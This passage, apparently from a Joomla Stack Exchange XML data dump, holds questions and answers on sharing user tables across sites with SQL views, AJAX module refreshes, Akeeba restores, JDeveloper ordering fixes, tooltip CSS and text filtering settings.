databases.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the following SQL script on each of the sister sites' databases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RENAME TABLE `josPrefix2_users` TO `josPrefix2_bak_users`;&#xA;RENAME TABLE `josPrefix2_session` TO `josPrefix2_bak_session`;&#xA;RENAME TABLE `josPrefix2_usergroups` TO `josPrefix2_bak_usergroups`;&#xA;RENAME TABLE `josPrefix2_user_notes` TO `josPrefix2_bak_user_notes`;&#xA;RENAME TABLE `josPrefix2_user_profiles` TO `josPrefix2_bak_user_profiles`;&#xA;RENAME TABLE `josPrefix2_user_usergroup_map` TO `josPrefix2_bak_user_usergroup_map`;&#xA;RENAME TABLE `josPrefix2_viewlevels` TO `josPrefix2_bak_viewlevels`;&#xA;&#xA;CREATE VIEW josPrefix2_users AS SELECT * FROM dbSite1.josPrefix1_users;&#xA;CREATE VIEW josPrefix2_session AS SELECT * FROM dbSite1.josPrefix1_session;&#xA;CREATE VIEW josPrefix2_usergroups AS SELECT * FROM dbSite1.josPrefix1_usergroups;&#xA;CREATE VIEW josPrefix2_user_notes AS SELECT * FROM dbSite1.josPrefix1_user_notes;&#xA;CREATE VIEW josPrefix2_user_profiles AS SELECT * FROM dbSite1.josPrefix1_user_profiles;&#xA;CREATE VIEW josPrefix2_user_usergroup_map AS SELECT * FROM dbSite1.josPrefix1_user_usergroup_map;&#xA;CREATE VIEW josPrefix2_viewlevels AS SELECT * FROM dbSite1.josPrefix1_viewlevels;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 1:&lt;/strong&gt; For the script above, you will need to: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;dbSite1&lt;/code&gt; with the name of your master site's database.&lt;/li&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;josPrefix1&lt;/code&gt; with the prefix of your master site's database tables.&lt;/li&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;josPrefix2&lt;/code&gt; with the prefix of your sister site's database tables.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2:&lt;/strong&gt; If you already have data stored in one of the sister sites, you may need to update the user ID of many entries in the database as the user IDs will have changed. Examples: article author and modified user, LogMan access logs, etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original Answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10145/how-to-share-table-between-2-or-more-databases/17657#17657&quot;&gt;How to share table between 2 or more databases?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-09-19T20:06:58.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17935" PostTypeId="2" ParentId="15467" CreationDate="2016-09-19T21:03:28.253" Score="3" Body="&lt;p&gt;Man, although I'm not 100% sure, you should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;nested&quot;&#xA;       type=&quot;text&quot;&#xA;       default=&quot;&quot;&#xA;       showon=&quot;main:1[AND]sub:1&quot;&#xA;       label=&quot;LABEL&quot;&#xA;       description=&quot;DESC&quot;&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The [AND] expects both to be true. This way your nested field should work.&lt;/p&gt;&#xA;" OwnerUserId="9054" LastActivityDate="2016-09-19T21:03:28.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17936" PostTypeId="1" CreationDate="2016-09-20T06:37:33.413" Score="1" ViewCount="1869" Body="&lt;p&gt;I have this simple search form inside a custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML FORM:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;search-form&quot;&amp;gt;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;roll_no&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['submit']))&#xA;{&#xA;&#xA;// getting text from HTML text box&#xA;&#xA;$roll_no = $_POST['roll_no'];&#xA;&#xA;// executing MySql query to fetch a particular record&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('name')&#xA;       -&amp;gt;from($db-&amp;gt;quoteName('students'))&#xA;       -&amp;gt;where($db-&amp;gt;quoteName('student_id') . &quot; = &quot; . $db-&amp;gt;quote($roll_no));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;$row = $db-&amp;gt;loadrow();&#xA;&#xA;echo $row['0'];&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works perfectly, but it refreshes the whole page. Can I somehow make it only refresh that particular module (div element).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-09-20T07:28:38.220" Title="Refreshing module/div on form submit [without page reload]" Tags="|php|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17937" PostTypeId="2" ParentId="17936" CreationDate="2016-09-20T06:47:29.490" Score="2" Body="&lt;p&gt;To achieve what you want, you can not submit the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to use an ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see jQuery.ajax documentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get a response and modify the DOM in order to reflect that response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nice example how to do it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/search-ajax/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/search-ajax/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="371" LastEditDate="2016-09-20T07:28:38.220" LastActivityDate="2016-09-20T07:28:38.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17939" PostTypeId="1" CreationDate="2016-09-20T12:35:04.367" Score="1" ViewCount="1102" Body="&lt;p&gt;For those using the (in my opinion excellent) &lt;a href=&quot;https://extensions.joomla.org/extension/jdeveloper&quot; rel=&quot;nofollow&quot;&gt;JDeveloper component&lt;/a&gt; &#xA;on Joomla 3.6 to create custom components, I've noticed that there is an issue on the admin table layout whereby you can not sort the columns or use the ordering feature.&lt;/p&gt;&#xA;" OwnerUserId="8460" LastEditorUserId="8460" LastEditDate="2016-09-21T07:51:22.497" LastActivityDate="2016-09-21T07:51:35.217" Title="JDeveloper component sort and ordering does not work (bug and fix)" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17940" PostTypeId="1" CreationDate="2016-09-20T20:51:10.070" Score="0" ViewCount="68" Body="&lt;p&gt;I backed up my website using Akeeba backup and downloaded the jpa file. I now need to restore that backup. The backup is not displayed amongst the files in the file manager within Akeeba but thankfully I have the downloaded file. But I do not know how to use this file to restore. There is no option within the Akeeba interface to upload the jpa file. How do i do it?? Any help would be great. Also I am using Joomla 3&lt;/p&gt;&#xA;" OwnerUserId="9059" LastActivityDate="2016-09-21T01:45:20.157" Title="Restore website using Akeeba backup downloaded file" Tags="|joomla-3.x|akeebabackup|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17941" PostTypeId="2" ParentId="17940" CreationDate="2016-09-21T01:45:20.157" Score="3" Body="&lt;p&gt;You need do this steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upload your .jpa file;&lt;/li&gt;&#xA;&lt;li&gt;Upload the file kickstart.php from Akeeba site in same directory .jpa file. &#xA;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/products/akeeba-kickstart.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Run the file www.yoursite.com/kickstart.php&lt;/li&gt;&#xA;&lt;li&gt;Follow steps from restore process. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-09-21T01:45:20.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17942" PostTypeId="2" ParentId="17918" CreationDate="2016-09-21T07:07:20.920" Score="1" Body="&lt;p&gt;If you want to set the alias you need to create a menu item which points to the output of your component. If there is no menu item Joomla will fall back on the component name to create an alias.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-09-21T07:07:20.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17943" PostTypeId="2" ParentId="17939" CreationDate="2016-09-21T07:51:35.217" Score="1" Body="&lt;p&gt;Here are the fixes that you need to do to get them to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/administrator/com_yourcomponent/views/yourviewplural/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see a line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$saveOrder = ($listOrder == 'ordering' &amp;amp;&amp;amp; isset($this-&amp;gt;items[0]-&amp;gt;ordering));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice it checks the listOrder to be equal to 'ordering' (we'll get back to this) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just below, change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$saveOrderingUrl = 'index.php?option=com_yourcomponent&amp;amp;task=yourviewplural.ordering&amp;amp;tmpl=component';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$saveOrderingUrl = 'index.php?option=com_yourcomponent&amp;amp;task=yourviewplural.saveOrderAjax&amp;amp;tmpl=component';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Scroll down utill you get to the table headings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first column is the ordering column, here is where the next bug sits.  Notice that is has the ordering target set to 'a.ordering' but our variable $saveOrder checks for 'ordering'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('searchtools.sort', '', 'ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've found that searchtools.sort and grid.sort do not seem to work together so replace all occurances of grid.sort with searchtools.sort&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a 'featured' column you will need to make another modification as you can't use the title to display the featured icon.  searchtools does however have a parameter for icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('grid.sort', JText::_('&amp;lt;span class=&quot;icon-featured&quot;&amp;gt;&amp;lt;/span&amp;gt;'), 'a.featured', $listDirn, $listOrder) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('searchtools.sort', null, 'a.featured', $listDirn, $listOrder, null, null, 'Featured', 'icon-featured') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file, we're done with this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open&#xA;/administrator/com_yourcomponent/models/forms/filter_yourviewplural.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll to the bottom where you will see the list field with the name=&quot;fullordering&quot;&#xA;In the option list find a.ordering ASC and a.ordering DESC and remove the a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e&#xA;from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;a.ordering ASC&quot;&amp;gt;JGRID_HEADING_ORDERING_ASC&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;a.ordering DESC&quot;&amp;gt;JGRID_HEADING_ORDERING_DESC&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;ordering ASC&quot;&amp;gt;JGRID_HEADING_ORDERING_ASC&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;ordering DESC&quot;&amp;gt;JGRID_HEADING_ORDERING_DESC&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file.  We are done, sort and ordering now work as they should.&#xA;Hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="8460" LastActivityDate="2016-09-21T07:51:35.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17945" PostTypeId="1" CreationDate="2016-09-21T10:01:38.503" Score="1" ViewCount="172" Body="&lt;p&gt;I'm trying to display a tool tip when you have your mouse over to the menu item &quot; blog &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tooltip, content in the menu is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt; li id=&quot;newitem91&quot;&gt;&amp;lt; div class=&quot;tool-tip&quot;&gt;&amp;lt; span&gt;tool tip!&amp;lt; /span&gt;&amp;lt; /div&gt;&amp;lt; /li&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the CSS class to display it is this , but it does not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#fx-item1455:hover +#newitem91 {display:block !important;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? Conflict with joomla css?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help :)&lt;/p&gt;&#xA;" OwnerUserId="7288" LastActivityDate="2024-03-14T14:07:55.987" Title="Joomla - Display block of a tooltip not work in main menu" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17946" PostTypeId="2" ParentId="17945" CreationDate="2016-09-21T12:22:35.223" Score="0" Body="&lt;p&gt;Did you try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.tool-tip { display:none; } &#xA;&#xA;#newitem91:hover &amp;gt; .tool-tip { display:block; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-09-21T12:22:35.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17947" PostTypeId="1" CreationDate="2016-09-21T16:03:12.247" Score="1" ViewCount="751" Body="&lt;p&gt;i am using the technique to add custom fields to articles described here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working well, except for file-uploads.&#xA;My first guess was to use the media-field type to let the user upload pdf files, but it only supports image files, so, i thought about using the file-field type.&#xA;But it does not upload anything, just returns the filename.&#xA;I checked and saw, that the form is missing enctype=&quot;multipart/form-data&quot;, so i took a look at:&#xA;administrator/components/com_content/views/article/tmpl/edit.php&#xA;and noticed that the form-tag is hard-coded, no possibility to add the enctype:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_content&amp;amp;layout=' . $layout . $tmpl . '&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;item-form&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question:&#xA;Is there any possibility to let the user upload pdf or doc files in a single article without core-hacks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5783" LastActivityDate="2016-12-21T16:11:40.007" Title="Joomla 3.6 File upload file to article" Tags="|plugin|com-plugins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17948" PostTypeId="2" ParentId="16590" CreationDate="2016-09-21T20:42:27.433" Score="1" Body="&lt;p&gt;you have to look in menu items- search-tools- select status, and select the option trashed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;select the item home and  look for the button -empty trash- and click&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that will delete your menu item &quot;home&quot; and you can could create it again&lt;/p&gt;&#xA;" OwnerUserId="8427" LastActivityDate="2016-09-21T20:42:27.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17950" PostTypeId="2" ParentId="17141" CreationDate="2016-09-22T07:06:16.433" Score="2" Body="&lt;p&gt;I suspect the problem is the server you site is on doesn't allow sending on behalf of emails not registered or that server and therefore fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the from email is a real email address which is on the server of your site.&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2016-09-22T07:06:16.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17951" PostTypeId="2" ParentId="17881" CreationDate="2016-09-22T07:09:30.190" Score="1" Body="&lt;p&gt;It's very likely a php error. Please enable Joomla! Maximum error reporting and see if you see the error. This will provide you with good insight into the cause. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be down to max execution time or php memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2016-09-22T07:09:30.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17952" PostTypeId="2" ParentId="17869" CreationDate="2016-09-22T07:14:39.723" Score="-2" Body="&lt;p&gt;You need to use a different method than jinput.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$headers = $app-&amp;gt;getHeaders();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JApplicationWeb.html#method_getHeaders&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JApplicationWeb.html#method_getHeaders&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2016-09-22T07:14:39.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17953" PostTypeId="1" CreationDate="2016-09-22T08:51:40.000" Score="0" ViewCount="524" Body="&lt;p&gt;When i redirect a page to another page in redirect component, It doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my site when i write something at the end of the url, it redirects on the home page.&#xA;for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.farafan-market.ir/fa/fgjdfgjdfsgj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;redirects on &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.farafan-market.ir/fa/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the same thing happens with the URLs that i redirect in the redirect component. :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem? How can i fix it?&#xA;I'm using the last version of joomla.&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2016-10-05T06:42:02.903" LastActivityDate="2016-10-05T06:42:02.903" Title="redirect component in joomla doesn't work" Tags="|joomla-3.x|seo|redirect|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17954" PostTypeId="2" ParentId="17953" CreationDate="2016-09-22T10:56:16.187" Score="2" Body="&lt;p&gt;Please ensure that the system redirect plugin is activated&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-09-22T10:56:16.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17955" PostTypeId="2" ParentId="17953" CreationDate="2016-09-22T13:52:25.833" Score="4" Body="&lt;p&gt;&lt;p&gt;From the Joomla documentation:&lt;/p&gt;&lt;blockquote&gt;&quot;This component is primarily used for redirecting URLs for web pages that no longer exist on your website to web pages that are working. The URL you want to redirect from must not be a working one on your website which actually loads a web page.&quot;&lt;/blockquote&gt;&lt;pre&gt;&lt;a href=&quot;https://docs.joomla.org/Help36:Components_Redirect_Manager&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Help36:Components_Redirect_Manager&lt;/a&gt;&lt;/pre&gt;&lt;p&gt;If the page you are trying to redirect is a working page, you will need to do so in the .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-09-22T13:52:25.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17956" PostTypeId="2" ParentId="17947" CreationDate="2016-09-22T14:09:45.810" Score="1" Body="&lt;p&gt;Solved it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed the newest JCE-Release and used a media-field instead of a file-field.&#xA;JCE replaces the media field with its own filepicker, wich is limited to images only.&#xA;In the form-field xml i've added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filter=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That did the trick, now i am able to select pdf files with a Joomla media field in a content-plugin.&lt;/p&gt;&#xA;" OwnerUserId="5783" LastActivityDate="2016-09-22T14:09:45.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17957" PostTypeId="2" ParentId="17869" CreationDate="2016-09-22T17:41:00.257" Score="0" Body="&lt;p&gt;To help others facing similar issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like Joomla or the server is simply ignoring the Authorization headers. Changing name of some other name will be a workaround for this.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-09-22T17:41:00.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17958" PostTypeId="2" ParentId="17740" CreationDate="2016-09-22T18:16:22.723" Score="0" Body="&lt;p&gt;Through waarnemer's suggestion on the &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=715&amp;amp;t=935318&quot; rel=&quot;nofollow&quot;&gt;Joomla forums&lt;/a&gt;, simply by switching the plugin event from &lt;code&gt;onContentBeforeSave&lt;/code&gt; to &lt;code&gt;onContentAfterSave&lt;/code&gt;, functionality remained after initial save. This seems to have been a blunder on my part in that I did not understand exactly what the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow&quot;&gt;Plugin/Events/Content&lt;/a&gt; tutorial was trying to convey for those two events.&lt;/p&gt;&#xA;" OwnerUserId="7215" LastActivityDate="2016-09-22T18:16:22.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17959" PostTypeId="1" AcceptedAnswerId="17961" CreationDate="2016-09-22T19:48:11.273" Score="1" ViewCount="499" Body="&lt;p&gt;After upgrading to Joomla 3.6.2 I cannot save a Custom HTML module or Article with any tags. Add a link via the Tiny MCE Editor, stripped out on save. Add through HTML, stripped out on Save. Try using No Editor, stripped out on save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cleared all caches and tried on different browsers with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody else with this issue? Know whats going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9063" LastActivityDate="2016-09-23T10:40:03.793" Title="Joomla 3.6.2 won't save HTML Tags" Tags="|custom-module|editor|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17961" PostTypeId="2" ParentId="17959" CreationDate="2016-09-23T10:40:03.793" Score="2" Body="&lt;p&gt;It is because you have not set the text-filtering to &quot;no filtering&quot;.&#xA;Go to Global Configuration -&gt; Text Filter : set the filtering for the desired type of user to &quot;No-filtering&quot;.&lt;a href=&quot;https://i.stack.imgur.com/Qe2Cz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qe2Cz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2016-09-23T10:40:03.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17962" PostTypeId="1" CreationDate="2016-09-23T11:22:49.807" Score="0" ViewCount="42" Body="&lt;p&gt;I'm having this random issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some pages (not always the same, and without a readable pattern), &lt;strong&gt;the pages are served as XML/feed and not as HTML&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've found out is that the correct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is generated as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;application/rss+xml; charset=utf-8&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using an Apache 2.2.15 server, and PHP 5.3.17, Joomla 3.5.1, and my guess is that this is something related to the cache of Joomla (currently using progressive cache, file, 15 minutes), and also a cache control plugin &lt;a href=&quot;http://extensions.joomla.org/extension/cachecontrol&quot; rel=&quot;nofollow&quot;&gt;CacheControl&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have/had the same problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I solve this?&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2016-09-23T11:22:49.807" Title="Some pages are randomly served as XML/feed and not as HTML" Tags="|joomla-3.x|xml|cache|header-tags|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17964" PostTypeId="1" CreationDate="2016-09-23T14:02:11.697" Score="1" ViewCount="33" Body="&lt;p&gt;Is there any plugin for adding FB adverts code on joomla similar to Google anlytics plugins, so that it can be enabled on every page at a time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it more simple is there some plugin which can add some java script code to each and every page on Joomla website with a single time insertion of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance&lt;/p&gt;&#xA;" OwnerUserId="9067" LastActivityDate="2017-01-22T01:54:33.440" Title="FB adverts plugin on Joomla" Tags="|joomla-3.x|php|plugin|google-analytics|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17965" PostTypeId="2" ParentId="814" CreationDate="2016-09-23T14:06:25.553" Score="0" Body="&lt;p&gt;This solution worked very well for myself.  The intro text was still too long so I shortened it to 300 characters. See below.  I added the main code in the first answer above right after the h3 tag and then just modified the intro text portion.  I didn't use the category name. I added the link to the main article in the read more link and also for the ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the total code I used in Joomla 3.6, including the h3 tag...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, 